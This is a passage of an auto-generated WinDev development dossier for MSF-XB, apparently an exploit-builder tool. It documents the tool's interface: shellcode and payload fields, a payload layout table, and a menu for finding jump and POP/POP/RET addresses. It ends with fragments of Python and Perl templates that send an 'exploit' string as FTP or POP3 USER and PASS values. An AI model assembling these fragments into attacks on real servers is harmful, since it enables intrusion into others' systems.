Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 574: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 579

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT.SAI_RECHERCHE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Rechercher :GB: Find:

Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 172Largeur interne 825

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 575: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 580

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT.SAI_REMPLACE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Remplacer :GB: Replace:

Ordre navigation 6Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 172Largeur interne 825

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante Non

Page 576: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 581

Barre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT.SAI_Shellcode2

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 4Retrait gauche 2Position X interne 101Largeur interne 894

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus Oui

Page 577: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 582

Historique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXT1Bouton : ONG_Onglet1.SC_RechercherRemplacerTXT1.BTN_Remplacer

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: RemplacerGB: Replace

Ordre navigation 6Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Page 578: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 583

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.SC_RechercherRemplacerTXT1.BTN_RemplacerTout

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Remplacer toutGB: Replace All

Ordre navigation 2Curseur survol 0On/Off Non

Altitude 1

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 579: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 584

Bouton : ONG_Onglet1.SC_RechercherRemplacerTXT1.BTN_Suivant

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SuivantGB: Next

Ordre navigation 8Curseur survol 0On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 580: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 585

Interrupteur : ONG_Onglet1.SC_RechercherRemplacerTXT1.INT_CASSE

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 4Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100

Options FR: Respecter la casseGB: Case-Sensitive

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 581: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 586

Interrupteur : ONG_Onglet1.SC_RechercherRemplacerTXT1.INT_MOTCOMPLET

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 3Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 2

Numéro aide 0

Opacité 100

Options FR: Mot complet uniquementGB: Full Word

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 582: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 587

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT1.SAI_RECHERCHE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Rechercher :GB: Find:

Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 172Largeur interne 825

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 583: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 588

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT1.SAI_REMPLACE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Remplacer :GB: Replace:

Ordre navigation 6Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 172Largeur interne 825

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante Non

Page 584: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 589

Barre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_RechercherRemplacerTXT1.SAI_Shellcode

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 4Retrait gauche 2Position X interne 101Largeur interne 894

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus Oui

Page 585: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 590

Historique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SC_SelecteurPayloadBouton : ONG_Onglet1.SC_SelecteurPayload.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 19Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Page 586: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 591

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_SelecteurPayload.SAI_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Fichier :GB: File:

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 65Largeur interne 490

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 260Masque saisie FR,GB: 10Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies Oui

Page 587: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 592

Valeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SC_SelecteurShellcodeBouton : ONG_Onglet1.SC_SelecteurShellcode.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 19Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite

Page 588: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 593

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SC_SelecteurShellcode.SAI_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Fichier :GB: File:

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 65Largeur interne 487

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 260Masque saisie FR,GB: 10Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante Oui

Page 589: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 594

Barre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : ONG_Onglet1.TABLE_DLLColonne de table : ONG_Onglet1.TABLE_DLL.COL_CHEMIN_DLL (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: Chemin DLLGB: DLL's path

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 590: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 595

Colonne de table : ONG_Onglet1.TABLE_DLL.COL_VERSION_DLL (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: VersionCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : ONG_Onglet1.TABLE_DLL.COL_MD5_DLL (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: MD5Curseur survol 0Touche TAB Oui

Numéro aide 0

Page 591: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 596

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : ONG_Onglet1.TABLE_DLL.COL_SHA1_DLL (4)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: SHA1Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 592: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 597

Table : ONG_Onglet1.TABLE_DLL_MEMOIREColonne de table : ONG_Onglet1.TABLE_DLL_MEMOIRE.DLL_CHEMIN (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: DLLs chargéesGB: DLLs loaded

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 600 Taux anc. hauteur 1000

Page 593: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 598

Colonne de table : ONG_Onglet1.TABLE_DLL_MEMOIRE.DLL_PID (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: PIDCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 400 Taux anc. hauteur 1000

Colonne de table : ONG_Onglet1.TABLE_DLL_MEMOIRE.DLL_VERSION (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: VersionCurseur survol 0Touche TAB Oui

Numéro aide 0

Page 594: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 599

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : ONG_Onglet1.TABLE_DLL_MEMOIRE.DLL_MD5 (4)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: MD5Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 595: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 600

Colonne de table : ONG_Onglet1.TABLE_DLL_MEMOIRE.DLL_SHA1 (5)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: SHA1Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Table : ONG_Onglet1.TABLE_Design

Page 596: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 601

Colonne de table : ONG_Onglet1.TABLE_Design.COL_Operation (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: OpérationGB: Operation

Contenu initial FR: NOP BRUT PAYLOAD RET ASM SLEEP

GB: NOP RAW PAYLOAD RET ASM SLEEP

Curseur survol 0

Hauteur liste 0Largeur liste 66Larg. déroulée perso. Non

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 597: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 602

Colonne de table : ONG_Onglet1.TABLE_Design.COL_Longueur (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: LongueurGB: Length

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤+9 999 999 999Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 598: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 603

Colonne de table : ONG_Onglet1.TABLE_Design.COL_Valeur (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: ValeurGB: Value

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

MSFXB_Assistant Informations sur les menus

Page 599: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 604

Menu contextuel : 'MENU_MemDump'

Nom des optionsOPT_Findjmp2 (3)

OPT_ESP (11)OPT_EAX (4)OPT_EBX (5)OPT_ECX (6)OPT_EDX (7)OPT_ESI (8)OPT_EDI (9)OPT_EBP (10)

OPT_Msfpescan (14)OPT_Branchseeker (17)

OPT_EAX1 (18)OPT_EBX1 (19)OPT_ECX1 (20)OPT_EDX1 (21)OPT_EDI1 (23)OPT_ESI1 (22)OPT_EBP1 (24)OPT_ESP1 (25)OPT_POP_POP_RET (26)

OPT_EAX2 (27)OPT_EBX2 (28)OPT_ECX2 (29)OPT_EDX2 (30)OPT_EDI2 (31)OPT_ESI2 (32)OPT_EBP2 (33)OPT_ESP2 (34)

OPT_Memdump (2)

Page 600: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 605

Libellé des options : Françaisfindjmp2

ESPEAXEBXECXEDXESIEDIEBP

msfpescanbranchseeker

EAXEBXECXEDXEDIESIEBPESPPOP/POP/RET

EAXEBXECXEDXEDIESIEBPESP

memdump

Page 601: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 606

Libellé des options : Anglaisfindjmp2

ESPEAXEBXECXEDXESIEDIEBP

msfpescanbranchseeker

EAXEBXECXEDXEDIESIEBPESPPOP/POP/RET

EAXEBXECXEDXEDIESIEBPESP

memdump

Page 602: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 607

Menu contextuel : 'MENU_MenuContextuel1'

Nom des optionsOPT_Option1 (13)

Libellé des options : FrançaisOPT_Option1

Libellé des options : Anglais

Menu contextuel : 'MENU_MenuContextuel2'

Nom des optionsOPT_Option2 (16)

Libellé des options : FrançaisOPT_Option2

Libellé des options : Anglais

MSFXB_Assistant Messages multilangues

N° Message

Page 603: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 608

N° Message

2000 FR: La version de Windows installée sur votre poste n'a pas pu être déterminée.GB: Unable to recognize the Windows version installed on your computer.

2001 FR,GB: Windows 3.12002 FR,GB: Windows 952003 FR,GB: Windows 982004 FR,GB: Windows ME2005 FR,GB: Windows NT42006 FR,GB: Windows 20002007 FR,GB: Windows XP Pro2008 FR: Windows XP familial

GB: Windows XP Home Edition2009 FR: Windows 2003 Serveur

GB: Windows 2003 Server2010 FR: Le système d'exploitation n'a pas été trouvé.

GB: Operating system not found.2011 FR: Voulez-vous lancer votre débogueur?

GB: Do you want to launch your debugger?2012 FR: Débogueur non trouvé dans

GB: Debugger not found in2013 FR: modifiez le chemin DEBUGGER_PATH dans le fichier MSF-XB.INI

GB: check the DEBUGGER_PATH in the INI file MSF-XB.INI2014 FR,GB: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)2015 FR,GB: connect=s.connect(('2016 FR,GB: ',2017 FR,GB: ))2018 FR,GB: #Display the server answer2019 FR,GB: d=s.recv(1024)2020 FR,GB: print 2021 FR,GB: [+] 2022 FR,GB: +d2023 FR,GB: time.sleep(1)2024 FR,GB: USER2025 FR,GB: s.send('USER '+exploit+'\r\n')2026 FR,GB: s.send('USER 2027 FR,GB: \r\n')

Page 604: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 609

N° Message

2028 FR,GB: PASS2029 FR,GB: s.send('PASS '+exploit+'\r\n')2030 FR,GB: s.send('PASS 2031 FR,GB: s.send(exploit+'\r\n')2032 FR,GB: s.send('2033 FR,GB: ' +exploit+'\r\n')2034 FR,GB: except:2035 FR,GB: NOT CONNECTED2036 FR,GB: python 2037 FR,GB: \TEMP\test.pl2038 FR,GB: #!usr/bin/perl -w2039 FR: #Code de test généré par MSF-XB - https://www.securinfos.info - Jérôme Athias

GB: #Test code generated by MSF-XB - https://www.securinfos.info - Jerome Athias2040 FR,GB: #2041 FR,GB: use strict;2042 FR,GB: imap2043 FR,GB: smtp2044 FR,GB: use Mail::POP3Client;2045 FR: #utilisez ppm pour installer Mail-POP3Client

GB: #use ppm to install Mail-POP3Client2046 FR,GB: ftp2047 FR,GB: use IO::Socket;2048 FR,GB: my $exploit=2049 FR,GB: ;2050 FR,GB: my $popclient = new Mail::POP3Client( HOST => 2051 FR,GB: );2052 FR,GB: $popclient->User( $exploit );2053 FR,GB: $popclient->User( 2054 FR,GB: $popclient->Pass( $exploit );2055 FR,GB: $popclient->Pass( 2056 FR,GB: $popclient->Connect() >=0 || die $popclient->Message();2057 FR,GB: $popclient->Close();2058 FR,GB: my $connection = IO::Socket::INET->new( Proto=>2059 FR,GB: tcp2060 FR,GB: , PeerAddr=>

